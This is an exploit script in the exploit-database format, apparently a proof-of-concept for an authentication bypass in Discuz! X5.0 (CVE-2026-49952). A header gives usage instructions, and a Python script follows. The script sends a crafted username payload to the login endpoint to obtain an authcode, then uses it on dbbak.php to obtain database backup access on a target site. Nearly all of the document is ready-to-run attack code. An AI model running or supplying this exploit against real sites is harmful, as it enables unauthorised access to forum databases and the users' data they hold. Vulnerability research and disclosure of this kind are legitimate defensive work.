📄 Discuz! X5.0 Authentication Bypass

# Exploit Title:     Discuz! X5.0 - Authentication Bypass
    # CVE:                  CVE-2026-49952
    # Date:                 2026-06-26
    # Exploit Author:       Mohammed Idrees Banyamer
    # Author Country:       Jordan
    # Instagram:            @banyamer_security
    # Author GitHub:        https://github.com/mbanyamer
    # Author Blog  :        https://banyamersecurity.com/blog/
    # Vendor Homepage:      https://www.discuz.vip
    # Software Link:        https://www.discuz.vip
    # Affected:             Discuz! X5.0 (20260320 - 20260501)
    # Tested on:            Discuz! X5.0
    # Category:             WebApps
    # Platform:             PHP
    # Exploit Type:         Authentication Bypass
    # CVSS:                 9.1
    # Description:          Discuz! X5.0 suffers from an authentication bypass vulnerability via dbbak.php using UC_KEY encryption oracle allowing token reuse.
    # Fixed in:             20260510+
    # Usage:
    #   python3 exploit.py <target>
    #
    # Examples:
    #   python3 exploit.py http://target.com
    #   python3 exploit.py https://target.com --proxy http://127.0.0.1:8080
    #
    # Options:
    #   --proxy   HTTP proxy
    #
    # Notes:
    #   • Tune payload if needed (e.g. admin|1|0|0)
    #
    # How to Use
    #
    # Step 1:
    #   Run the script against the target
    #
    # Step 2:
    #   Check if dbbak.php access is granted
    
    import requests
    import re
    import sys
    import argparse
    import urllib.parse
    from urllib3.exceptions import InsecureRequestWarning
    
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    
    def banner():
        print(r"""
    ╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
    ║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
    ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ███████╔╝
    ║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
    ║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
    ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
            ╔═╗ Banyamer Security ╔═╗
    """)
    
    def get_authcode(target, payload, proxy):
        url = f"{target}/member.php?mod=logging&action=login&lssubmit=yes"
        data = {
            "username": payload,
            "password": "dummy123",
            "loginsubmit": "yes"
        }
        proxies = {"http": proxy, "https": proxy} if proxy else None
        try:
            r = requests.post(url, data=data, proxies=proxies, verify=False, allow_redirects=False, timeout=15)
            match = re.search(r'authcode=([a-zA-Z0-9]{20,})', r.text)
            if match:
                return match.group(1)
            match = re.search(r'([a-zA-Z0-9]{32,60})', r.text)
            if match:
                return match.group(1)
            return None
        except:
            return None
    
    def exploit_dbbak(target, authcode, proxy):
        url = f"{target}/api/db/dbbak.php?code={urllib.parse.quote(authcode)}&operation=backup&appid=1"
        proxies = {"http": proxy, "https": proxy} if proxy else None
        try:
            r = requests.get(url, proxies=proxies, verify=False, timeout=15)
            print(f"[+] dbbak.php status: {r.status_code}")
            if r.status_code == 200:
                print("[+] Success! Access to database backup granted.")
                print(r.text[:400])
            else:
                print("[-] Failed or access denied.")
        except:
            print("[-] Request failed.")
    
    def main():
        banner()
        parser = argparse.ArgumentParser(description="Discuz! X5.0 CVE-2026-49952 PoC")
        parser.add_argument("target", help="Target URL")
        parser.add_argument("--proxy", help="HTTP proxy", default=None)
        parser.add_argument("--payload", help="Oracle payload", default="admin|1|0|0")
        args = parser.parse_args()
        target = args.target.rstrip("/")
        print(f"[*] Target: {target}")
        print(f"[*] Payload: {args.payload}")
        authcode = get_authcode(target, args.payload, args.proxy)
        if authcode:
            print(f"[+] Authcode: {authcode}")
            exploit_dbbak(target, authcode, args.proxy)
        else:
            print("[-] Failed to get authcode.")
    
    if __name__ == "__main__":
        main()